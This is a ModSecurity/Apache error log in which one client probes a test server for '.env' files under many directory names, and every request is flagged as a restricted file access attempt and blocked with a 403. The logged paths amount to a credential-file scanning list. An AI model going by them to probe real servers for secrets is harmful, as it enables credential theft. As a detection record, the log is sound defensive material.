[Wed Feb 25 06:05:42.415397 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/integration/env-config/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ6DJin6hL63qXWzsp191wAAAAE&quot;]
[Wed Feb 25 06:05:42.415688 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ6DJin6hL63qXWzsp191wAAAAE&quot;]
[Wed Feb 25 06:05:42.415872 2026] [:error] [pid 2312880] [client 185.177.72.13:1380] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/integration/env-config/app/.env&quot;] [unique_id &quot;aZ6DJin6hL63qXWzsp191wAAAAE&quot;]
[Wed Feb 25 06:05:42.425440 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /travel_form/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6GwAAAAM&quot;]
[Wed Feb 25 06:05:42.425706 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6GwAAAAM&quot;]
[Wed Feb 25 06:05:42.425886 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6GwAAAAM&quot;]
[Wed Feb 25 06:05:42.567748 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ts/prime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6HAAAAAM&quot;]
[Wed Feb 25 06:05:42.568039 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6HAAAAAM&quot;]
[Wed Feb 25 06:05:42.568235 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6HAAAAAM&quot;]
[Wed Feb 25 06:05:42.690278 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ubuntu/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6HwAAAAM&quot;]
[Wed Feb 25 06:05:42.690534 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6HwAAAAM&quot;]
[Wed Feb 25 06:05:42.690722 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6HwAAAAM&quot;]
[Wed Feb 25 06:05:42.862595 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6IAAAAAM&quot;]
[Wed Feb 25 06:05:42.862883 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6IAAAAAM&quot;]
[Wed Feb 25 06:05:42.863077 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6IAAAAAM&quot;]
[Wed Feb 25 06:05:42.931496 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unixtime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6IQAAAAM&quot;]
[Wed Feb 25 06:05:42.931748 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6IQAAAAM&quot;]
[Wed Feb 25 06:05:42.931924 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aZ6DJrZegw_qLbSTRXm6IQAAAAM&quot;]
[Wed Feb 25 06:05:43.047086 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unsplash-downloader/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6IgAAAAM&quot;]
[Wed Feb 25 06:05:43.047351 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6IgAAAAM&quot;]
[Wed Feb 25 06:05:43.047520 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6IgAAAAM&quot;]
[Wed Feb 25 06:05:43.151799 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JAAAAAM&quot;]
[Wed Feb 25 06:05:43.152099 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JAAAAAM&quot;]
[Wed Feb 25 06:05:43.152291 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JAAAAAM&quot;]
[Wed Feb 25 06:05:43.259835 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upload/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JQAAAAM&quot;]
[Wed Feb 25 06:05:43.260104 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JQAAAAM&quot;]
[Wed Feb 25 06:05:43.260271 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JQAAAAM&quot;]
[Wed Feb 25 06:05:43.378726 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JgAAAAM&quot;]
[Wed Feb 25 06:05:43.378984 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JgAAAAM&quot;]
[Wed Feb 25 06:05:43.379147 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JgAAAAM&quot;]
[Wed Feb 25 06:05:43.420476 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /urlmem-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JwAAAAM&quot;]
[Wed Feb 25 06:05:43.420712 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JwAAAAM&quot;]
[Wed Feb 25 06:05:43.420881 2026] [:error] [pid 2312882] [client 185.177.72.13:31816] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aZ6DJ7Zegw_qLbSTRXm6JwAAAAM&quot;]
